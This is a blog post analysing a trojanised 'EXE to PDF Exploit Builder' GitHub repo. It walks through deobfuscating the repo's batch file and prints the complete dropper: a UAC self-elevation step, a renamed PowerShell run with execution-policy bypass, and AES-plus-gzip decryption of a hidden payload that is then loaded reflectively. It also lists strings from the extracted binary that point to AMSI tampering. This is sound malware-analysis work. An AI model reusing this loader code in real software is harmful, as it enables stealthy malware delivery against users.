What is a malware?

Malware, a portmanteu meaning malicious software, refers to any program that was created with the specific goal of doing harm. Your digital environment is vulnerable to a variety of terrible things, including attempts to compromise your computer or network, leak confidential data, and gain illegal access. These issues can occasionally be brought on by common software defects, but when malware is to blame, it poses a major risk to online users and businesses.

Yes, a virus is a malware.. Malware is an umbrella term, with virus being just one of types among many others.

Common obfuscation techniques?

Obfuscation is a software engineering technique used by hackers and security teams mainly to conceal the written code. There are different motivations to use obfuscation, but their aim is the same – to make the source code unintelligible, difficult to comprehend, and interpret.

Few of the common obfuscatons techniques involve

  • Dead-code insertion
  • Code flow obfuscation
  • Variable renaming
  • String encryption
  • etc..

Journey begins!

I always like trying out new tools and understanding how they work behind the scenes. And about time I got my eyes on a github repo that said EXE TO PDF Exploit Builder.

This was enough to make me open the repo and look more into it. 😁

Lucifer on github

This repo was owned by Luci441… But for some reasons this looked suspecious to me.

  1. The account is only few days old.
  2. The owner claims to be the owner of Hackforums.
  3. And it only had 6 followers…. Hackforum twitter account had 11.2K Followers at the time of writing this blog.

Anyways, I was more interested into looking how that EXE to PDF program worked. So I moved directly to the repo and looked at the source code. The README contained something that made me more suspecious…

Why make such a tool obfuscated?? Why no VMs supported?? Who makes such a tool and intentionally make it unusable in VMs?

And there is no how to get started section with this tool so I’ll have to read the code and understand it. Good heavens… Finally I got started with the ExploitBuilder.bat file to read the source code.

There are a lot of things that raise doubt, but that’s not what why you are here. Are you?

Simplifying initial payload

After taking a look at all the files inside the repo, it was safe to assume that there was absolutely no need of the C header files (.h files). This was just to make everything a bit more convincing.

First thing first, I forked the repo and removed all the extra files. The forked repo can be found here -> https://github.com/ayedaemon/Exe-to-pdf. Interestingly, there was a Pull Request to the original repo that mentioned about the malware it contained. But I won’t talk about it and ruin the journey ;)

Most interesting file in the whole repo was the batchfile and it was obfuscated. The whole thing was divided into multiple variables and then the complete command was constructed at runtime by concatinating those jumbled strings. I gotta admit there is a lot one can do with strings nowadays.

I cleaned most of the lines with sed and then printed them with python. Maybe there is a faster and better way to clean it.. I’ll be happy to hear if you have any alternative ways to do it easily.

Here is the python notebook that shows the initial deobfuscation. –> https://github.com/ayedaemon/Exe-to-pdf/blob/main/notebook.ipynb

After this, I had the clean payload that was much much easier to read. Here is the clean payload –> https://github.com/ayedaemon/Exe-to-pdf/blob/main/clean_payload.txt

@echo off
net file
if not %errorlevel%==0 ( powershell -noprofile -ep bypass -command Start-Process -FilePath '%0' -ArgumentList '%cd%' -Verb runas & exit /b )
cd /d %1
copy C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe /y %~dp0%~nx0.exe'
cls
cd %~dp0
%~nx0.exe -noprofile -windowstyle hidden -ep bypass -command $eaqcw = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);foreach ($VtoBl in $eaqcw) { if ($VtoBl.StartsWith(':: ')) {  $BMjJe = $VtoBl.Substring(3); break; }; };$VGGCQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($BMjJe);$hbvqO = New-Object System.Security.Cryptography.AesManaged;$hbvqO.Mode = [System.Security.Cryptography.CipherMode]::CBC;$hbvqO.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$hbvqO.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wYPqphQqHyVIeW2CaPqkTUCy/0ecJs6agKij7Q3HRY4=');$hbvqO.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E55hmIoW8UIQx1ajzTvfAA==');$CfOAS = $hbvqO.CreateDecryptor();$VGGCQ = $CfOAS.TransformFinalBlock($VGGCQ, 0, $VGGCQ.Length);$CfOAS.Dispose();$hbvqO.Dispose();$YVjlv = New-Object System.IO.MemoryStream(, $VGGCQ);$iJFSw = New-Object System.IO.MemoryStream;$uwkaq = New-Object System.IO.Compression.GZipStream($YVjlv, [IO.Compression.CompressionMode]::Decompress);$uwkaq.CopyTo($iJFSw);$uwkaq.Dispose();$YVjlv.Dispose();$iJFSw.Dispose();$VGGCQ = $iJFSw.ToArray();$WtHIs = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($VGGCQ);$iFZWS = $WtHIs.EntryPoint;$iFZWS.Invoke($null, (, [string[]] ('%*')))
exit /b

Let’s try and understand this script line by line… just like an interpreter πŸ˜‰

  • @echo off prevents the prompt and contents of the batch file from being displayed, so that only the output is visible. The @ makes the output of the echo off command hidden as well. If you are into bad things or preventing bad things to happen - this is like a defacto starting command for all batch scripts.

  • net file without any extra argumnents this displays all the open shared files on a server and the lock-ids (if any). I’m not completely sure why this is used but anyways

  • Then it checks errorlevel, it is not 0 then it’ll run some powershell command. I’m not very good with windows and it’s tools at this point but it is very clear that is executing something with -ep bypass to prevent any warnings or prompts. Sus it is, isn’t it?

  • After changing directory (where it can put all his mess, without being sus), it copies the powershell binary and saves it with another name.

  • Clears the screen to remove all the output generated. Above tasks will be in a flash and you probably will just see a blink on terminal if you have Veronica Seider’s Super Power. Bad Joke, I know.

  • Eventually, it’ll use the copied & renamed powershell to run some -command with -ep bypass flag. After a bit of google-fu I got to know about few common techniques used to bypass powershell execution policy. I found this blog 1 concise and helpful for the same topic.

de-obfuscating powershell

I copied the powershell -command to another file, just to make more sense of it. And it looked better than before.

$eaqcw = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);

foreach ($VtoBl in $eaqcw) { 
    if ($VtoBl.StartsWith(':: ')) {
        $BMjJe = $VtoBl.Substring(3);
        break; 
    }; 
};
$VGGCQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($BMjJe);
$hbvqO = New-Object System.Security.Cryptography.AesManaged;
$hbvqO.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$hbvqO.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$hbvqO.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wYPqphQqHyVIeW2CaPqkTUCy/0ecJs6agKij7Q3HRY4=');
$hbvqO.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E55hmIoW8UIQx1ajzTvfAA==');
$CfOAS = $hbvqO.CreateDecryptor();
$VGGCQ = $CfOAS.TransformFinalBlock($VGGCQ, 0, $VGGCQ.Length);
$CfOAS.Dispose();
$hbvqO.Dispose();
$YVjlv = New-Object System.IO.MemoryStream(, $VGGCQ);
$iJFSw = New-Object System.IO.MemoryStream;
$uwkaq = New-Object System.IO.Compression.GZipStream($YVjlv, [IO.Compression.CompressionMode]::Decompress);
$uwkaq.CopyTo($iJFSw);
$uwkaq.Dispose();
$YVjlv.Dispose();
$iJFSw.Dispose();
$VGGCQ = $iJFSw.ToArray();
$WtHIs = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($VGGCQ);
$iFZWS = $WtHIs.EntryPoint;
$iFZWS.Invoke($null, (, [string[]] ('%*')))

If I did not mention this earlier, I’m not good with windows OS and powershell scripting, but with decent knowledge about programming/scripting languages and a text editor of choice, it was not so hard to make this code understandable. De-obfuscated file can be found on github here -> https://github.com/ayedaemon/Exe-to-pdf/blob/main/powershell_command_deobfuscated.txt

## Read the initial payload file
$payload = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('/ExploitBuilder.bat').Split([Environment]::NewLine);

## Get the line starting with `:: `; This also acts as the comment in batch scripting
foreach ($each_line in $payload) { 
    if ($each_line.StartsWith(':: ')) {
        $comment_line = $each_line.Substring(3);
        break; 
    }; 
};

## Decode the comment line with "Military grade AES encryption"
$decoded_comment_line = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($comment_line);
$cryptObj = New-Object System.Security.Cryptography.AesManaged;
$cryptObj.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$cryptObj.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$cryptObj.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wYPqphQqHyVIeW2CaPqkTUCy/0ecJs6agKij7Q3HRY4=');
$cryptObj.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E55hmIoW8UIQx1ajzTvfAA==');
$decryptObj = $cryptObj.CreateDecryptor();
$decrypted_comment_line = $decryptObj.TransformFinalBlock($decoded_comment_line, 0, $decoded_comment_line.Length);
$decryptObj.Dispose();
$cryptObj.Dispose();

## Shuffle the data throught memory streams and decompress it (gzip decompression)
$decrypted_stream = New-Object System.IO.MemoryStream(, $decrypted_comment_line);
$extra_stream = New-Object System.IO.MemoryStream;
$ungzip_decrypted_stream = New-Object System.IO.Compression.GZipStream($decrypted_stream, [IO.Compression.CompressionMode]::Decompress);
$ungzip_decrypted_stream.CopyTo($extra_stream);
$ungzip_decrypted_stream.Dispose();
$decrypted_stream.Dispose();
$extra_stream.Dispose();

## Load the final binary and execute it
$asm = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($decrypted_array);
$asm_entrypoint = $asm.EntryPoint;
$asm_entrypoint.Invoke($null, (, [string[]] ('%*')))

There are tons of obfuscation techniques that can be used by a hacker or a professional, but the final goal is common - To make it harder to read and interpret. Here is a blog by Offensive-Security on powershell obfuscation 2 that helped me to gain knowledge about how powershell malwares are usually obfuscated.

This malware specifically used some good techniques:-

  • changing the variable names to random characters
  • String reversal techniques for powershell commands.
  • Key based cryptography to encrypt the malicious payload.
  • Compressing the payload to prevent detection
  • Decompressing in memory streams to make it somewhat fileless and hard to detect.

…but the method employed to hide the payload in comments actually astounded me.

Windows EXE file

There were several steps within a single line powershell command, that were eventually loading and executing the actual malware. Instead of writing my own functions to reverse engineer everything the author has done, I took the lazy approach and let his code do most of the work…and just before the loading & execution segment, I dumped the binary. 🀭

## Dump exe file before loading and executing
$result = [System.Text.Encoding]::UTF8.GetString($extra_stream.ToArray())
$result > extra_stream.exe.txt

How I know it is an EXE file? …Simply by looking at the magic numbers of the obtained file

All the obfuscation, just to make sure that this exe file gets executed. 🀦 Well, now it’s time to analyze the binary file we just extracted and see if we can figure out the truth about this EXE-to-pdf program. For this, I quickly launched up radare2 3 in another terminal and started analysing the file. Why Radare2?? I prefer stayting in the terminal…And it is an amazing tool :)

What does all Reverse Engineering 101 books say?? - grab some basic info about the binary file and dump all strings to support the existing hypothesis and build on it.

So I did that..

Basic info

file     extra_stream.exe.txt
size     0x409f
humansz  16.2K
minopsz  1
maxopsz  16
invopsz  1
mode     r-x
format   any
iorw     false
block    0x100

Strings (omitted)

211 0x0000271a 0x0000271a 20  21           ascii   BJEtuQtQCkWlpTOkRPdJ
212 0x0000272f 0x0000272f 20  21           ascii   OzLDUBlAcSBIOPOJLBlh
213 0x00002744 0x00002744 20  21           ascii   BDltEFgkoicgcKNaARhF
214 0x00002759 0x00002759 20  21           ascii   QvYrospzbuUnUAXNVABe
215 0x0000276e 0x0000276e 20  21           ascii   joIOHkxVlAiZHoYgFUel


316 0x00002ce8 0x00002ce8 14  15           ascii   RuntimeHelpers
317 0x00002cf7 0x00002cf7 5   6            ascii   Array
318 0x00002cfd 0x00002cfd 18  19           ascii   RuntimeFieldHandle
319 0x00002d10 0x00002d10 15  16           ascii   InitializeArray
320 0x00002d20 0x00002d20 19  20           ascii   $$method0x6000003-2
321 0x00002d34 0x00002d34 7   8            ascii   UIntPtr
322 0x00002d3c 0x00002d3c 11  12           ascii   op_Explicit
323 0x00002d48 0x00002d48 4   5            ascii   Copy
324 0x00002d4d 0x00002d4d 17  18           ascii   System.Reflection
325 0x00002d5f 0x00002d5f 8   9            ascii   Assembly
326 0x00002d68 0x00002d68 20  21           ascii   GetExecutingAssembly
327 0x00002d7d 0x00002d7d 24  25           ascii   GetManifestResourceNames
328 0x00002d96 0x00002d96 13  14           ascii   WriteAllBytes
329 0x00002da4 0x00002da4 16  17           ascii   System.Threading
330 0x00002db5 0x00002db5 11  12           ascii   ThreadStart
331 0x00002dc1 0x00002dc1 6   7            ascii   Thread
332 0x00002dc8 0x00002dc8 4   5            ascii   Char
333 0x00002dcd 0x00002dcd 5   6            ascii   Split
334 0x00002dd3 0x00002dd3 4   5            ascii   Load
335 0x00002dd8 0x00002dd8 10  11           ascii   MethodInfo
336 0x00002de3 0x00002de3 14  15           ascii   get_EntryPoint
337 0x00002df2 0x00002df2 10  11           ascii   MethodBase
338 0x00002dfd 0x00002dfd 16  17           ascii   ProcessStartInfo
339 0x00002e0e 0x00002e0e 6   7            ascii   Concat
340 0x00002e15 0x00002e15 13  14           ascii   set_Arguments
341 0x00002e23 0x00002e23 18  19           ascii   ProcessWindowStyle
342 0x00002e36 0x00002e36 15  16           ascii   set_WindowStyle
343 0x00002e46 0x00002e46 18  19           ascii   set_CreateNoWindow
344 0x00002e59 0x00002e59 12  13           ascii   set_FileName
345 0x00002e66 0x00002e66 11  12           ascii   System.Core
346 0x00002e72 0x00002e72 28  29           ascii   System.Security.Cryptography
347 0x00002e8f 0x00002e8f 10  11           ascii   AesManaged
348 0x00002e9a 0x00002e9a 18  19           ascii   SymmetricAlgorithm
349 0x00002ead 0x00002ead 10  11           ascii   CipherMode
350 0x00002eb8 0x00002eb8 8   9            ascii   set_Mode
351 0x00002ec1 0x00002ec1 11  12           ascii   PaddingMode
352 0x00002ecd 0x00002ecd 11  12           ascii   set_Padding
353 0x00002ed9 0x00002ed9 16  17           ascii   ICryptoTransform
354 0x00002eea 0x00002eea 15  16           ascii   CreateDecryptor
355 0x00002efa 0x00002efa 19  20           ascii   TransformFinalBlock
356 0x00002f0e 0x00002f0e 12  13           ascii   MemoryStream
357 0x00002f1b 0x00002f1b 21  22           ascii   System.IO.Compression
358 0x00002f31 0x00002f31 10  11           ascii   GZipStream
359 0x00002f3c 0x00002f3c 6   7            ascii   Stream
360 0x00002f43 0x00002f43 15  16           ascii   CompressionMode
361 0x00002f53 0x00002f53 6   7            ascii   CopyTo
362 0x00002f5a 0x00002f5a 7   8            ascii   ToArray
363 0x00002f62 0x00002f62 25  26           ascii   GetManifestResourceStream
364 0x00002f7c 0x00002f7c 11  12           ascii   payload.exe
365 0x00002f8a 0x00002f8a 34  69           utf16le Select * from Win32_ComputerSystem


373 0x00003070 0x00003070 44  89           utf16le Ok++WI0tak7DdF3uV9x+8O7wJaTIlfxMVTMno9KXut4=
374 0x000030ca 0x000030ca 44  90           utf16le +uLTyyminmCZeXdFSCeWyXEOtzicLz4HHy5dikdWUWc=
375 0x00003124 0x00003124 24  49           utf16le WTltvoM17r/Ehimm8ynucg==
376 0x00003156 0x00003156 44  89           utf16le amZLVSQJiUQKj6Rv/kTQ8kyn+kGd0mUv6VK0wS/w3/E=
377 0x000031b0 0x000031b0 14  29           utf16le VirtualProtect
378 0x000031ce 0x000031ce 8   18           utf16le amsi.dll
379 0x000031e0 0x000031e0 24  49           utf16le WG/Dged0cIrjNUQv5M9ONw==
380 0x00003212 0x00003212 9   20           utf16le ntdll.dll
381 0x00003226 0x00003226 24  50           utf16le KMgwS70BP93VTwRv09KJTQ==
382 0x00003258 0x00003258 24  50           utf16le ZoHIhlSGD8rN6cc5D8M/MA==
383 0x0000328a 0x0000328a 24  49           utf16le shwnMnkYp+bePn1r9fIgQg==
384 0x000032c3 0x000032c3 63  127          utf16le MNbxejM5jxzm3r5TKG6sPhlK6QF/D8w6/aOC8lz9bfMr26dy72cAJCSoDcBoN3Q
385 0x00003343 0x00003343 9   19           utf16le " & del "
386 0x0000335b 0x0000335b 7   16           utf16le cmd.exe

There are base64 encoded strings, interesting function calls and interesting strings in this binary, which I can look up and figure out what this file does. It will be so easy!!

But to my surprise, it was not at all easy… Or maybe I’m just not worthy yet.

  • All the base64 strings are not readable. Although I’ve a feeling that these strings are used in similar fashion as they were used in previous powershell payload.

  • Even after looking in the memory area where the intriguing strings are pointed, I was unable to find anything that made sense to me.

[0x00002f70]> pd 20
            ; CODE XREF from fcn.00000000 @ +0x2f01
            0x00002f70      6f             outsd dx, dword [rsi]
        β”Œβ”€< 0x00002f71      7572           jne 0x2fe5
        β”‚   0x00002f73      636553         movsxd rsp, dword [rbp + 0x53]
       β”Œβ”€β”€< 0x00002f76      7472           je 0x2fea
       β”‚β”‚   0x00002f78      65             invalid
       β”‚β”‚   0x00002f79      61             invalid
       β”‚β”‚   0x00002f7a      6d             insd dword [rdi], dx
       β”‚β”‚   0x00002f7b      007061         add byte [rax + 0x61], dh
      β”Œβ”€β”€β”€< 0x00002f7e      796c           jns 0x2fec
      β”‚β”‚β”‚   0x00002f80      6f             outsd dx, dword [rsi]
      β”‚β”‚β”‚   0x00002f81      61             invalid
     β”Œβ”€β”€β”€β”€< 0x00002f82      642e657865     js 0x2fec
     β”‚β”‚β”‚β”‚   0x00002f87      0000           add byte [rax], al
     β”‚β”‚β”‚β”‚   ; CODE XREFS from fcn.00000000 @ +0x2f15, +0x2f34
     β”‚β”‚β”‚β”‚   0x00002f89      4553           push r11
     β”‚β”‚β”‚β”‚   0x00002f8b      006500         add byte [rbp], ah
     β”‚β”‚β”‚β”‚   0x00002f8e      6c             insb byte [rdi], dx
     β”‚β”‚β”‚β”‚   0x00002f8f      006500         add byte [rbp], ah
     β”‚β”‚β”‚β”‚   0x00002f92      6300           movsxd rax, dword [rax]
    β”Œβ”€β”€β”€β”€β”€< 0x00002f94      7400           je 0x2f96
    β”‚β”‚β”‚β”‚β”‚   ; CODE XREF from fcn.00000000 @ +0x2f94
    └─────> 0x00002f96      2000           and byte [rax], al

Then I looked at the color patterns to figure out if it had repeated patterns… I could then take it as a sign that this binary is itself encoded.

Next Steps?

There are numerous indicators right now that point to the possibility that this is malware, but who am I to judge? (based on what I currently understand about Windows malware analysis)

For now, I just have a few leads to pursue, but maybe in the future I’ll figure it all the way down and find out exactly what this program does. Till then…